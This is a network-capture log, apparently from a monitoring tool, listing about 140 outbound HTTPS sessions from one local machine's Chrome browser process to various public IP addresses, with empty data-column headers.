Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1415	192.168.2.17	51515	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1416	192.168.2.17	51519	172.64.150.163	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1417	192.168.2.17	51524	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1418	192.168.2.17	51525	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1419	192.168.2.17	51526	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1420	192.168.2.17	51527	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1421	192.168.2.17	51531	172.64.196.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1422	192.168.2.17	51533	172.64.196.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1423	192.168.2.17	51535	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1424	192.168.2.17	51534	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1425	192.168.2.17	51536	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1426	192.168.2.17	51537	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1427	192.168.2.17	51538	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1428	192.168.2.17	51539	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1429	192.168.2.17	51542	108.138.106.101	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1430	192.168.2.17	51546	172.64.154.248	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1431	192.168.2.17	51548	13.226.34.126	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1432	192.168.2.17	51549	142.250.80.66	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1433	192.168.2.17	51551	151.101.192.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1434	192.168.2.17	51552	151.101.192.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1435	192.168.2.17	51553	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1436	192.168.2.17	51555	157.240.241.35	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1437	192.168.2.17	51554	157.240.241.35	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1438	192.168.2.17	51561	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1439	192.168.2.17	51566	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1440	192.168.2.17	51558	142.251.111.155	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1441	192.168.2.17	51563	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1442	192.168.2.17	51560	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1443	192.168.2.17	51568	34.120.202.204	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1444	192.168.2.17	51562	54.197.122.101	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1445	192.168.2.17	51570	151.101.128.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1446	192.168.2.17	51574	142.251.40.132	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1447	192.168.2.17	51573	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1448	192.168.2.17	51575	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1449	192.168.2.17	51571	151.101.128.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1450	192.168.2.17	51579	151.101.0.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1451	192.168.2.17	51578	151.101.0.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1452	192.168.2.17	51581	31.13.71.36	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1453	192.168.2.17	51580	31.13.71.36	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1454	192.168.2.17	51582	142.251.40.132	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1455	192.168.2.17	51583	172.253.62.157	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1456	192.168.2.17	51585	151.101.0.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1457	192.168.2.17	51584	142.251.40.100	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1458	192.168.2.17	51586	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1459	192.168.2.17	51587	151.101.0.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1460	192.168.2.17	51588	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1461	192.168.2.17	51589	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1462	192.168.2.17	51591	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1463	192.168.2.17	51592	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1464	192.168.2.17	51593	142.251.40.100	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1465	192.168.2.17	51594	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1466	192.168.2.17	51590	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1467	192.168.2.17	51595	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1468	192.168.2.17	51596	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1469	192.168.2.17	51597	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1470	192.168.2.17	51598	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1471	192.168.2.17	51599	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1472	192.168.2.17	51604	172.64.196.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1473	192.168.2.17	51605	172.64.196.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1474	192.168.2.17	51610	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1475	192.168.2.17	51611	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1476	192.168.2.17	51612	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1477	192.168.2.17	51614	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1478	192.168.2.17	51613	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1479	192.168.2.17	51615	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1480	192.168.2.17	51616	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1481	192.168.2.17	51617	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1482	192.168.2.17	51618	172.64.150.163	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1483	192.168.2.17	51619	172.64.150.163	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1484	192.168.2.17	51623	172.67.164.44	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1485	192.168.2.17	51627	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1486	192.168.2.17	51518	18.164.99.9	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1487	192.168.2.17	51628	104.21.41.99	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1488	192.168.2.17	51631	108.139.47.92	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1489	192.168.2.17	51632	50.16.98.63	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1490	192.168.2.17	51634	54.197.122.101	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1491	192.168.2.17	51630	18.214.192.183	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1492	192.168.2.17	51635	207.65.37.179	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1493	192.168.2.17	51633	34.233.81.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1494	192.168.2.17	51636	172.64.151.101	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1495	192.168.2.17	51637	172.64.151.101	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1496	192.168.2.17	51640	3.233.183.24	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1497	192.168.2.17	51643	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1498	192.168.2.17	51645	104.21.41.99	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1499	192.168.2.17	51646	108.139.47.92	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1500	192.168.2.17	51647	108.138.127.64	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1501	192.168.2.17	51649	34.239.40.49	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1502	192.168.2.17	51648	52.207.139.163	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1503	192.168.2.17	51651	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1504	192.168.2.17	51650	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1505	192.168.2.17	51655	44.193.52.224	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1506	192.168.2.17	51652	172.240.155.100	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1507	192.168.2.17	51657	18.214.192.183	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1508	192.168.2.17	51658	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1509	192.168.2.17	51659	3.233.167.98	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1510	192.168.2.17	51654	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1511	192.168.2.17	51653	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1512	192.168.2.17	51521	142.251.35.162	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1513	192.168.2.17	51661	54.87.249.239	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1514	192.168.2.17	51660	3.227.173.151	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1515	192.168.2.17	51664	172.64.151.101	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1516	192.168.2.17	51663	68.67.160.186	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1517	192.168.2.17	51669	18.214.192.183	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1518	192.168.2.17	51670	18.214.192.183	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1519	192.168.2.17	51672	198.148.27.131	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1520	192.168.2.17	51675	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1521	192.168.2.17	51673	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1522	192.168.2.17	51678	18.214.192.183	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1523	192.168.2.17	51676	18.214.192.183	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1524	192.168.2.17	51686	23.105.12.137	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1525	192.168.2.17	51681	52.2.20.171	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1526	192.168.2.17	51674	54.208.143.66	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1527	192.168.2.17	51680	142.251.35.161	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1528	192.168.2.17	51683	37.18.24.16	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1529	192.168.2.17	51677	54.197.122.101	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1530	192.168.2.17	51689	18.214.192.183	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1531	192.168.2.17	51690	172.64.151.101	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1532	192.168.2.17	51685	174.129.202.176	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1533	192.168.2.17	51682	47.253.61.56	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1534	192.168.2.17	51687	47.253.61.56	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1535	192.168.2.17	51671	82.145.213.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1536	192.168.2.17	51694	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1537	192.168.2.17	51698	23.105.12.137	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1538	192.168.2.17	51696	34.204.28.10	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1539	192.168.2.17	51700	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1540	192.168.2.17	51701	54.208.143.66	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1541	192.168.2.17	51703	18.238.49.52	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1542	192.168.2.17	51702	169.197.150.7	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1543	192.168.2.17	51708	52.46.128.147	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1544	192.168.2.17	51704	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1545	192.168.2.17	51697	23.83.76.52	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1546	192.168.2.17	51710	54.208.143.66	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1547	192.168.2.17	51707	52.207.168.180	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1548	192.168.2.17	51706	52.207.168.180	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1549	192.168.2.17	51709	155.204.117.12	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1550	192.168.2.17	51705	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1551	192.168.2.17	51714	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1552	192.168.2.17	51715	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1553	192.168.2.17	51711	52.0.165.201	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1554	192.168.2.17	51717	68.67.160.186	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

